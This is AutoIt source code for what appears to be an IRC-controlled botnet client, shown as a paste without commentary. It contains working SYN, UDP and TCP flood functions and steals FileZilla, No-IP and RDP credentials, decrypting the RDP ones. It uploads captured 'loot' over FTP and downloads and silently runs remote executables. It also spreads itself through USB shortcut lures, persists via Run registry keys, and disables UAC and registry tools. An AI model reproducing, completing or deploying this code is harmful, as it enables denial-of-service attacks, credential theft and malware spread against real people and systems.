$sType = VarGetType($vElem)
If StringLeft($sType, 3) = "Int" Then
$vKey = "#Int#" & String($vElem)
Else
$vKey = "#" & $sType & "#" & String($vElem)
EndIf
If Not $oDictionary.Item($vKey) Then ; Check if key exists
$oDictionary($vKey) = $vElem ; Store actual value in dictionary
EndIf
Case $ARRAYUNIQUE_DISTINCT
$vKey = "#" & VarGetType($vElem) & "#" & String($vElem)
If Not $oDictionary.Item($vKey) Then ; Check if key exists
$oDictionary($vKey) = $vElem ; Store actual value in dictionary
EndIf
EndSwitch
Next
Local $aValues, $j = 0
If $bCOMError Then ; Mismatch Int32/64
Return SetError(7, 0, 0)
ElseIf $iIntType <> $ARRAYUNIQUE_FORCE32 Then
Local $aValues[$oDictionary.Count]
For $vKey In $oDictionary.Keys()
$aValues[$j] = $oDictionary($vKey)
If StringLeft($vKey, 5) = "#Ptr#" Then
$aValues[$j] = Ptr($aValues[$j])
EndIf
$j += 1
Next
Else
$aValues = $oDictionary.Keys()
EndIf
If $iCount Then
_ArrayInsert($aValues, 0, $oDictionary.Count)
EndIf
Return $aValues
EndFunc ;==>_ArrayUnique
Func _BinaryToInt16($4bytes)
$dllStruct2_Integer = DllStructCreate("int")
$dllStruct2_Binary = DllStructCreate("byte[4]", DllStructGetPtr($dllStruct2_Integer))
DllStructSetData($dllStruct2_Binary, 1, $4bytes)
Return DllStructGetData($dllStruct2_Integer, 1)
EndFunc ;==>_BinaryToInt16
Func _condisflood($host, $port, $time)
$ip = TCPNameToIP($host)
$port = Int($port)
$time = Int($time)
TCPStartup()
Local $timer = TimerInit(), $diff = 0
While 1
$diff = TimerDiff($timer)
If $diff >= $time * 1000 Then
ExitLoop
EndIf
$socket = TCPConnect($ip, $port)
TCPCloseSocket($socket)
WEnd
EndFunc ;==>_condisflood
Func _elementexists($array, $element)
If $element > UBound($array) - 1 Then Return False
Return True
EndFunc ;==>_elementexists
Func _FileListToArray($sPath, $sFilter = "*", $iFlag = 0)
Local $hSearch, $sFile, $sFileList, $asFileList[1]
If Not FileExists($sPath) Then Return SetError(1, 1, "")
If StringRegExp($sFilter, "[\\/:<>|]") Or (Not StringStripWS($sFilter, 8)) Then Return SetError(2, 2, "")
If Not ($iFlag = 0 Or $iFlag = 1 Or $iFlag = 2 Or $iFlag = 4 Or $iFlag = 5 Or $iFlag = 6) Then Return SetError(3, 3, "")
If (StringMid($sPath, StringLen($sPath), 1) = "\") Then $sPath = StringTrimRight($sPath, 1)
$hSearch = FileFindFirstFile($sPath & "\" & $sFilter)
If $hSearch = -1 Then Return SetError(4, 4, "")
While 1
$sFile = FileFindNextFile($hSearch)
If @error Then
SetError(0)
ExitLoop
EndIf
If $iFlag = 1 And StringInStr(FileGetAttrib($sPath & "\" & $sFile), "D") <> 0 Then ContinueLoop
If $iFlag = 2 And StringInStr(FileGetAttrib($sPath & "\" & $sFile), "D") = 0 Then ContinueLoop
If $iFlag > 3 Then $sFile = $sPath & "\" & $sFile
$sFileList &= $sFile & "|"
WEnd
FileClose($hSearch)
$asFileList = StringSplit(StringTrimRight($sFileList, 1), "|")
Return $asFileList
EndFunc ;==>_FileListToArray
Func _FTP_Close($l_InternetSession)
If $__ghWinInet_FTP = -1 Then Return SetError(-2, 0, 0)
Local $ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $l_InternetSession)
If @error Or $ai_InternetCloseHandle[0] = 0 Then Return SetError(-1, 1, 0)
If $__gbCallback_Set = True Then DllCallbackFree($__ghCallback_FTP)
Return $ai_InternetCloseHandle[0]
EndFunc ;==>_FTP_Close
Func _FTP_Connect($l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_Passive = 0, $i_ServerPort = 0, $l_Service = $INTERNET_SERVICE_FTP, $l_Flags = 0, $l_Context = 0)
If $__ghWinInet_FTP = -1 Then Return SetError(-2, 0, 0)
If $i_Passive == 1 Then $l_Flags = BitOR($l_Flags, $INTERNET_FLAG_PASSIVE)
Local $ai_InternetConnect = DllCall($__ghWinInet_FTP, 'hwnd', 'InternetConnectW', 'handle', $l_InternetSession, 'wstr', $s_ServerName, 'ushort', $i_ServerPort, 'wstr', $s_Username, 'wstr', $s_Password, 'dword', $l_Service, 'dword', $l_Flags, 'dword_ptr', $l_Context)
If @error Or $ai_InternetConnect[0] = 0 Then Return SetError(-1, 1, 0)
Return $ai_InternetConnect[0]
EndFunc ;==>_FTP_Connect
Func _FTP_Open($s_Agent, $l_AccessType = $INTERNET_OPEN_TYPE_DIRECT, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)
If $__ghWinInet_FTP = -1 Then __FTP_Init()
Local $ai_InternetOpen = DllCall($__ghWinInet_FTP, 'handle', 'InternetOpenW', 'wstr', $s_Agent, 'dword', $l_AccessType, _
'wstr', $s_ProxyName, 'wstr', $s_ProxyBypass, 'dword', $l_Flags)
If @error Or $ai_InternetOpen[0] = 0 Then Return SetError(-1, 1, 0)
Return $ai_InternetOpen[0]
EndFunc ;==>_FTP_Open
Func _FTP_ProgressUpload($l_FTPSession, $s_LocalFile, $s_RemoteFile, $FunctionToCall = "")
If $__ghWinInet_FTP = -1 Then Return SetError(-2, 0, 0)
Local $fhandle = FileOpen($s_LocalFile, 16)
If @error Then Return SetError(-1, 1, 0)
Local $ai_ftpopenfile = DllCall($__ghWinInet_FTP, 'handle', 'FtpOpenFileW', 'handle', $l_FTPSession, 'wstr', $s_RemoteFile, 'dword', $GENERIC_WRITE, 'dword', $FTP_TRANSFER_TYPE_BINARY, 'dword_ptr', 0)
If @error Or $ai_ftpopenfile[0] = 0 Then Return SetError(-3, 1, 0)
Local $glen = FileGetSize($s_LocalFile)
Local Const $ChunkSize = 256 * 1024
Local $last = Mod($glen, $ChunkSize)
Local $parts = Ceiling($glen / $ChunkSize)
Local $buffer = DllStructCreate("byte[" & $ChunkSize & "]")
Local $ai_InternetCloseHandle, $ai_ftpwrite, $out, $ret, $lasterror
Local $x = $ChunkSize
Local $done = 0
For $i = 1 To $parts
If $i = $parts And $last > 0 Then
$x = $last
EndIf
DllStructSetData($buffer, 1, FileRead($fhandle, $x))
$ai_ftpwrite = DllCall($__ghWinInet_FTP, 'bool', 'InternetWriteFile', 'handle', $ai_ftpopenfile[0], 'struct*', $buffer, 'dword', $x, 'dword*', $out)
If @error Or $ai_ftpwrite[0] = 0 Then
$lasterror = 1
$ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $ai_ftpopenfile[0])
; No need to test @error.
FileClose($fhandle)
Return SetError(-4, $lasterror, 0)
EndIf
$done += $x
If $FunctionToCall = "" Then
ProgressSet(($done / $glen) * 100)
Else
If $ret <= 0 Then
$lasterror = @error
$ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $ai_ftpopenfile[0])
; No need to test @error.
DllCall($__ghWinInet_FTP, 'bool', 'FtpDeleteFileW', 'handle', $l_FTPSession, 'wstr', $s_RemoteFile)
; No need to test @error.
FileClose($fhandle)
Return SetError(-6, $lasterror, $ret)
EndIf
EndIf
Sleep(10)
Next
FileClose($fhandle)
If $FunctionToCall = "" Then ProgressOff()
$ai_InternetCloseHandle = DllCall($__ghWinInet_FTP, 'bool', 'InternetCloseHandle', 'handle', $ai_ftpopenfile[0])
; No need to test @error.
If @error Or $ai_InternetCloseHandle[0] = 0 Then Return SetError(-5, 1, 0)
Return 1
EndFunc ;==>_FTP_ProgressUpload
Func _GetIP()
Local Const $STR_REGEXPARRAYGLOBALMATCH = 3 ; Return array of global matches.
Local Const $GETIP_TIMER = 300000 ; Constant for how many milliseconds between each check. This is 5 minutes.
Local Static $hTimer = 0 ; Create a static variable to store the timer handle.
Local Static $sLastIP = 0 ; Create a static variable to store the last IP.
If TimerDiff($hTimer) < $GETIP_TIMER And Not $sLastIP Then ; If still in the timer and $sLastIP contains a value.
Return SetExtended(1, $sLastIP) ; Return the last IP instead and set @extended to 1.
EndIf
#cs
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Additional list of possible IP disovery sites by z3r0c00l12.
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://corz.org/ip
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://icanhazip.com
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://ip.appspot.com
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://ip.eprci.net/text
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://ip.jsontest.com/
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://services.packetizer.com/ipaddress/?f=text
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://whatthehellismyip.com/?ipraw
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://wtfismyip.com/text
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://www.networksecuritytoolkit.org/nst/tools/ip.php
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://www.telize.com/ip
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | http://www.trackip.net/ip
#ce
Local $aGetIPURL = ["https://api.ipify.org", "http://checkip.dyndns.org", "http://www.myexternalip.com/raw", "http://bot.whatismyipaddress.com"], _
$aReturn = 0, _
$sReturn = ""
For $i = 0 To UBound($aGetIPURL) - 1
Local $aReturn = ""
$sReturn = InetRead($aGetIPURL[$i])
If @error Or $sReturn == "" Then ContinueLoop
$aReturn = StringRegExp(BinaryToString($sReturn), "((?:\d{1,3}\.){3}\d{1,3})", $STR_REGEXPARRAYGLOBALMATCH) ; [\d\.]{7,15}
If Not @error Then
$sReturn = $aReturn[0]
ExitLoop
EndIf
$sReturn = ""
Next
$hTimer = TimerInit() ; Create a new timer handle.
$sLastIP = $sReturn ; Store this IP.
If $sReturn == "" Then Return SetError(1, 0, -1)
Return $sReturn
EndFunc ;==>_GetIP
Func _Singleton($sOccurrenceName, $iFlag = 0)
Local Const $ERROR_ALREADY_EXISTS = 183
Local Const $SECURITY_DESCRIPTOR_REVISION = 1
Local $tSecurityAttributes = 0
If BitAND($iFlag, 2) Then
Local $tSecurityDescriptor = DllStructCreate("byte;byte;word;ptr[4]")
Local $aRet = DllCall("advapi32.dll", "bool", "InitializeSecurityDescriptor", "struct*", $tSecurityDescriptor, "dword", $SECURITY_DESCRIPTOR_REVISION)
If @error Then Return SetError(@error, @extended, 0)
If $aRet[0] Then
$aRet = DllCall("advapi32.dll", "bool", "SetSecurityDescriptorDacl", "struct*", $tSecurityDescriptor, "bool", 1, "ptr", 0, "bool", 0)
If @error Then Return SetError(@error, @extended, 0)
If $aRet[0] Then
$tSecurityAttributes = DllStructCreate($tagSECURITY_ATTRIBUTES)
DllStructSetData($tSecurityAttributes, 1, DllStructGetSize($tSecurityAttributes))
DllStructSetData($tSecurityAttributes, 2, DllStructGetPtr($tSecurityDescriptor))
DllStructSetData($tSecurityAttributes, 3, 0)
EndIf
EndIf
EndIf
Local $aHandle = DllCall("kernel32.dll", "handle", "CreateMutexW", "struct*", $tSecurityAttributes, "bool", 1, "wstr", $sOccurrenceName)
If @error Then Return SetError(@error, @extended, 0)
Local $aLastError = DllCall("kernel32.dll", "dword", "GetLastError")
If @error Then Return SetError(@error, @extended, 0)
If $aLastError[0] = $ERROR_ALREADY_EXISTS Then
If BitAND($iFlag, 1) Then
DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $aHandle[0])
If @error Then Return SetError(@error, @extended, 0)
Return SetError($aLastError[0], $aLastError[0], 0)
Else
Exit -1
EndIf
EndIf
Return $aHandle[0]
EndFunc ;==>_Singleton
Func _synflood($host, $port, $time)
$ip = TCPNameToIP($host)
$port = Int($port)
$time = Int($time)
TCPStartup()
Local $timer = TimerInit(), $diff = 0
While 1
$diff = TimerDiff($timer)
If $diff >= $time * 1000 Then
ExitLoop
EndIf
TCPConnect($ip, $port)
WEnd
EndFunc ;==>_synflood
Func _tcpflood($ip, $port, $packetsize, $time)
$port = Int($port)
$packetsize = Int($packetsize)
$time = Int($time)
TCPStartup()
Local $timer = TimerInit(), $diff = 0
$tcpsock = TCPConnect($ip, $port)
While 1
$diff = TimerDiff($timer)
If $diff >= $time * 1000 Then
TCPCloseSocket($tcpsock)
ExitLoop
EndIf
$tcpsock = TCPConnect($ip, $port)
While Not @error
$packet = ""
For $i = 0 To $packetsize Step 1
$packet &= Chr(Random(0, 255, 1))
Next
TCPSend($tcpsock, $packet)
If $diff >= $time * 1000 Then
ExitLoop
EndIf
WEnd
TCPCloseSocket($tcpsock)
WEnd
EndFunc ;==>_tcpflood
Func _udpflood($host, $port, $packetsize, $time)
$ip = TCPNameToIP($host)
$port = Int($port)
$packetsize = Int($packetsize)
$time = Int($time)
UDPStartup()
$packet = ""
For $i = 1 To $packetsize
$packet &= Chr(Random(0, 255, 1))
Next
Local $timer = TimerInit(), $diff = 0
$udpsock = UDPOpen($ip, $port)
While 1
$diff = TimerDiff($timer)
If $diff >= $time * 1000 Then
UDPCloseSocket($udpsock)
ExitLoop
EndIf
UDPSend($udpsock, $packet)
WEnd
EndFunc ;==>_udpflood
Func _WinActiveByExe($sExe, $iActive = True) ;False to WinActivate, True to just see if it's active
If Not ProcessExists($sExe) Then Return SetError(1, 0, 0)
Local $aPL = ProcessList($sExe)
Local $aWL = WinList()
For $iCC = 1 To $aWL[0][0]
For $xCC = 1 To $aPL[0][0]
If $aWL[$iCC][0] <> '' And _
WinGetProcess($aWL[$iCC][1]) = $aPL[$xCC][1] And _
BitAND(WinGetState($aWL[$iCC][1]), 2) Then
If $iActive And WinActive($aWL[$iCC][1]) Then Return 1
If Not $iActive And Not WinActive($aWL[$iCC][1]) Then
WinActivate($aWL[$iCC][1])
Return 1
EndIf
EndIf
Next
Next
Return SetError(2, 0, 0)
EndFunc ;==>_WinActiveByExe
Func base64($vCode, $bEncode = True, $bUrl = False)
Local $oDM = ObjCreate("Microsoft.XMLDOM")
If Not IsObj($oDM) Then Return SetError(1, 0, 1)
Local $oEL = $oDM.createElement("Tmp")
$oEL.DataType = "bin.base64"
If $bEncode Then
$oEL.NodeTypedValue = Binary($vCode)
If Not $bUrl Then Return $oEL.Text
Return StringReplace(StringReplace(StringReplace($oEL.Text, "+", "-"), "/", "_"), @LF, "")
Else
If $bUrl Then $vCode = StringReplace(StringReplace($vCode, "-", "+"), "_", "/")
$oEL.Text = $vCode
Return $oEL.NodeTypedValue
EndIf
EndFunc ;==>base64
Func changemode($irc, $mode, $chan = "")
If $irc = -1 Then Return 0
If $chan = "" Then
TCPSend($irc, "MODE " & $mode & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndIf
TCPSend($irc, "MODE " & $chan & " " & $mode & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc ;==>changemode
; #FUNCTION#
Func cmd($user, $channel, $msg)
Local $stemp = StringSplit($msg, " ")
If StringRight($stemp[1], 1) == "*" Then $stemp[1] = StringTrimRight($stemp[1], 1)
If StringLeft($stemp[1], 1) == "!" Then $stemp[1] = StringTrimLeft($stemp[1], 1)
If StringLeft($botid, StringLen($stemp[1])) == $stemp[1] Then
Else
Return
EndIf
Switch StringLower($stemp[2])
Case "signin"
If _elementexists($stemp, 3) Then
If $stemp[3] == $botpassword Then
sendmessage($sock, "Signin successful.", $channel)
$signedin = True
Else
sendmessage($sock, "Signin failed!", $channel)
EndIf
EndIf
Case "signout"
If $signedin = True Then
sendmessage($sock, "Successfully signed out.", $channel)
$signedin = False
EndIf
Case "syn"
If _elementexists($stemp, 5) And $signedin = True Then
sendmessage($sock, "SYN flooding " & $stemp[3] & ":" & $stemp[4], $channel)
_synflood($stemp[3], $stemp[4], $stemp[5])
sendmessage($sock, "SYN flood finished", $channel)
EndIf
Case "udp"
If _elementexists($stemp, 6) And $signedin = True Then
sendmessage($sock, "UDP flooding " & $stemp[3] & ":" & $stemp[4] & " with packetsize " & $stemp[5], $channel)
_udpflood($stemp[3], $stemp[4], $stemp[5], $stemp[6])
sendmessage($sock, "UDP flood finished", $channel)
EndIf
Case "tcp"
If _elementexists($stemp, 6) And $signedin = True Then
sendmessage($sock, "TCP flooding " & $stemp[3] & ":" & $stemp[4], $channel)
_tcpflood($stemp[3], $stemp[4], $stemp[5], $stemp[6])
sendmessage($sock, "TCP flood finished", $channel)
EndIf
Case "condis"
If _elementexists($stemp, 5) And $signedin = True Then
sendmessage($sock, "Connect/disconnect flooding " & $stemp[3] & ":" & $stemp[4], $channel)
_condisflood($stemp[3], $stemp[4], $stemp[5])
sendmessage($sock, "Connect/disconnect flood finished", $channel)
EndIf
Case "loot"
If _elementexists($stemp, 5) And $signedin = True Then
If FileExists($lootLoc) Then
$sServer = TCPNameToIP($stemp[3])
$hOpen = _FTP_Open($botid)
$hConn = _FTP_Connect($hOpen, $sServer, $stemp[4], $stemp[5], 1)
$hPutFile = _FTP_ProgressUpload($hConn, $lootLoc, "sniffs-" & @UserName & "-" & @ComputerName & "@" & $myIP & ".txt")
_FTP_Close($hConn)
_FTP_Close($hOpen)
If $hPutFile = 1 Then
sendmessage($sock, "Successfully uploaded loot.", $channel)
Else
sendmessage($sock, "Error uploading loot.", $channel)
EndIf
Else
sendmessage($sock, "No loot!!! (maybe I'm not running as admin!)", $channel)
EndIf
EndIf
Case "noip"
If $signedin = True Then
sendmessage($sock, NOIP(), $channel)
EndIf
Case "filezilla"
If $signedin = True Then
sendmessage($sock, FileZilla(), $channel)
EndIf
Case "rdp"
If $signedin = True Then
For $i = 0 To 20
$ServIP = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default", "MRU" & $i)
If $ServIP == "" Then ExitLoop
$ServUser = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\UsernameHint", $ServIP)
$Creds = UncryptRDPPassword(BinaryToString(RegRead("HKEY_LOCAL_MACHINE\Comm\Security\CredMan\Creds", $i), 2))
$RDPCreds &= $ServIP & " USR: " & $ServUser & " PWD: " & $Creds & "|"
Next
If $RDPCreds <> "" Then
sendmessage($sock, StringTrimRight($RDPCreds, 1), $channel)
EndIf
EndIf
Case "getip"
If $signedin = True Then
sendmessage($sock, $myIP, $channel)
EndIf
Case "dlexe"
If _elementexists($stemp, 3) And $signedin = True Then
$exe = ""
Dim $aspace[3]
$Digits = 8
For $i = 1 To $Digits
$aspace[0] = Chr(Random(65, 90, 1))
$aspace[1] = Chr(Random(97, 122, 1))
$aspace[2] = Chr(Random(48, 57, 1))
$exe &= $aspace[Random(0, 2, 1)]
Next
Dim $hdownload = InetGet($stemp[3], @TempDir & "\" & $exe & ".exe", 1, 0)
Run(@TempDir & "\" & $exe & ".exe", "", @SW_HIDE)
sendmessage($sock, "Downloaded and executed!", $channel)
EndIf
Case "usb"
If $signedin = True Then
Local $drivecount = lnk()
sendmessage($sock, "Infected " & $drivecount & " removable drives.", $channel)
EndIf
Case "silentinstall"
If _elementexists($stemp, 3) And $signedin = True Then
$msi = ""
Dim $aspace[3]
$Digits = 8
For $i = 1 To $Digits
$aspace[0] = Chr(Random(65, 90, 1))
$aspace[1] = Chr(Random(97, 122, 1))
$aspace[2] = Chr(Random(48, 57, 1))
$msi &= $aspace[Random(0, 2, 1)]
Next
Dim $hdownload = InetGet($stemp[3], @TempDir & "\" & $msi & ".msi", 1, 0)
Run("MsiExec.exe /i """ & @TempDir & "\" & $msi & ".msi"" /qn /norestart", "", @SW_HIDE)
sendmessage($sock, "Silently installing...", $channel)
EndIf
Case "update"
If _elementexists($stemp, 3) And $signedin = True Then
dlexe($stemp[3])
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Services")
sendmessage($sock, "Updated!", $channel)
Exit
EndIf
EndSwitch
EndFunc ;==>cmd
Func connect($nodes)
For $i = 1 To UBound($nodes) - 1
$mynode = $nodes[$i]
If $mynode <> "" Then
$sock = TCPConnect(TCPNameToIP(StringSplit($mynode, ":")[1]), Number(StringSplit($mynode, ":")[2]))
If $sock <> -1 Then
ExitLoop
EndIf
EndIf
Next
If $sock == -1 Then
Return -1
EndIf
nickname($sock)
TCPSend($sock, "USER " & $botid & " 0 * :" & $botid & @CRLF)
Return $sock
EndFunc ;==>connect
Func dlexe($url)
$exe = ""
Dim $aspace[3]
$Digits = 8
For $i = 1 To $Digits
$aspace[0] = Chr(Random(65, 90, 1))
$aspace[1] = Chr(Random(97, 122, 1))
$aspace[2] = Chr(Random(48, 57, 1))
$exe &= $aspace[Random(0, 2, 1)]
Next
Dim $hdownload = InetGet($url, @TempDir & "\" & $exe & ".exe", 1, 0)
Run(@TempDir & "\" & $exe & ".exe", "", @SW_HIDE)
EndFunc ;==>dlexe
Func FileZilla()
Local $pwds, $h, $FN = @AppDataDir & "\FileZilla\recentservers.xml"
If FileExists($FN) = False Then Return ""
$h = FileOpen($FN, 0)
If $h = -1 Then Return ""
$host = ""
$port = 21
$usr = ""
$pw = ""
While True
$line = FileReadLine($h)
If @error = -1 Then ExitLoop
If StringInStr($line, "<Host>") Then
$usr = ""
$pw = ""
$port = 21
$host = StringMid($line, 1, StringInStr($line, "</") - 1)
$host = StringMid($host, StringInStr($host, ">") + 1)
EndIf
If StringInStr($line, "<Port>") Then
$port = StringMid($line, 1, StringInStr($line, "</") - 1)
$port = StringMid($port, StringInStr($port, ">") + 1)
EndIf
If StringInStr($line, "<User>") Then
$usr = StringMid($line, 1, StringInStr($line, "</") - 1)
$usr = StringMid($usr, StringInStr($usr, ">") + 1)
EndIf
If StringInStr($line, "<Pass encoding=""base64"">") Then
$pw = StringMid($line, 1, StringInStr($line, "</") - 1)
$pw = base64(StringMid($pw, StringInStr($pw, ">") + 1), False)
EndIf
If StringInStr($line, "</Server>") Then
$pwds = $pwds & "URL: ftp://" & $host & ":" & $port & " USR: " & $usr & " PWD: " & $pw & "|"
EndIf
WEnd
Return $pwds
EndFunc ;==>FileZilla
Func fixsys()
$read_showsuperhidden = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden")
If $read_showsuperhidden = "1" Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", 0)
EndIf
$read_disableregistrytools = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools")
If $read_disableregistrytools = "0" Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", 1)
EndIf
$read_nofolderoptions = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions")
If $read_nofolderoptions = "0" Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", 1)
EndIf
$read_uac = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA")
If $read_uac = "1" Then
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA", "REG_DWORD", "0")
EndIf
EndFunc ;==>fixsys
Func genIP()
While 1
$sIPAddr = Random(1, 255, 1) & "." & Random(1, 255, 1) & "." & Random(1, 255, 1) & "." & Random(1, 255, 1)
If StringRegExp($sIPAddr, "^((25[0-5]|2[0-4]\d|[01]?\d?\d)\.){3}(25[0-5]|2[0-4]\d|[01]?\d?\d)$") Then Return $sIPAddr
WEnd
EndFunc ;==>genIP
Func GetLastError()
Local $aiE = DllCall("kernel32.dll", "dword", "GetLastError")
Return $aiE[0]
EndFunc ;==>GetLastError
Func joinchannel($irc, $channel)
If $irc = -1 Then Return 0
TCPSend($irc, "JOIN " & $channel & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc ;==>joinchannel
Func install()
DirCreate($installdir)
FileCopy(@ScriptFullPath, $installpath, 8)
FileSetAttrib($installdir, "+SH")
FileSetAttrib($installpath, "+SH")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services", "REG_SZ", $installpath)
If IsAdmin() Then
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Services", "REG_SZ", $installpath)
EndIf
EndFunc
Func lnk()
Local $aArray = DriveGetDrive("REMOVABLE")
Local $drivecount = 0
For $i = 0 To UBound($aArray) - 1
Local $Drive = StringUpper($aArray[$i])
$x = _FileListToArray($Drive & "\", "*")
If @error Then Return $drivecount
FileCopy(@ScriptFullPath, $Drive & "\link.exe")
Local $p = $Drive & "\link.exe"
FileSetAttrib($p, "+H")
For $name In $x
If StringInStr(FileGetAttrib($name), "D") Then
FileCreateShortcut($p, StringUpper($aArray[$i]) & "\" & $name, "", "", "", "%windir%\system32\shell32.dll", "", 3, @SW_SHOWNOACTIVATE)
EndIf
Next
$drivecount += 1
Next
Return $drivecount
EndFunc ;==>lnk
Func newnickname($irc)
$nick = $nickformat & randID()
TCPSend($irc, "NICK " & $nick & @CRLF)
EndFunc ;==>newnickname
Func nickname($irc)
TCPSend($irc, "NICK " & $nick & @CRLF)
EndFunc ;==>nickname
Func NOIP()
Local $pwd = ""
$usr = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username")
If $usr = "" Then Return ""
$usr = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password")
Return "URL: http://no-ip.com/ USR: " & $usr & " PWD (Base64): " & $pwd
EndFunc ;==>NOIP
Func pong($irc, $ret)
If $ret = "" Then Return -1
TCPSend($irc, "PONG " & $ret & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc ;==>pong
Func randID()
Dim $aspace[3]
$id = ""
$Digits = 8
For $i = 1 To $Digits
$aspace[0] = Chr(Random(65, 90, 1))
$aspace[1] = Chr(Random(97, 122, 1))
$aspace[2] = Chr(Random(48, 57, 1))
$id &= $aspace[Random(0, 2, 1)]
Next
Return $id
EndFunc ;==>randID
Func sendmessage($irc, $msg, $chan = "")
If $irc = -1 Then Return 0
If $chan = "" Then
TCPSend($irc, $msg & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndIf
TCPSend($irc, "PRIVMSG " & $chan & " :" & $msg & @CRLF)
If @error Then
Return -1
EndIf
Return 1
EndFunc ;==>sendmessage
Func UncryptRDPPassword($bin)
Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
Local Const $DATA_BLOB = "int;ptr"
Local $passStr = DllStructCreate("byte[1024]")
Local $DataIn = DllStructCreate($DATA_BLOB)
Local $DataOut = DllStructCreate($DATA_BLOB)
$pwDescription = 'psw'
$PwdHash = ""
DllStructSetData($DataOut, 1, 0)
DllStructSetData($DataOut, 2, 0)
DllStructSetData($passStr, 1, $bin)
DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
DllStructSetData($DataIn, 1, BinaryLen($bin))
$Return = DllCall("crypt32.dll", "int", "CryptUnprotectData", _
"ptr", DllStructGetPtr($DataIn), _
"ptr", 0, _
"ptr", 0, _
"ptr", 0, _
"ptr", 0, _
"dword", $CRYPTPROTECT_UI_FORBIDDEN, _
"ptr", DllStructGetPtr($DataOut))
If @error Then Return ""
$len = DllStructGetData($DataOut, 1)
$PwdHash = Ptr(DllStructGetData($DataOut, 2))
$PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
EndFunc ;==>UncryptRDPPassword
Comments
0 B
|👍
/👎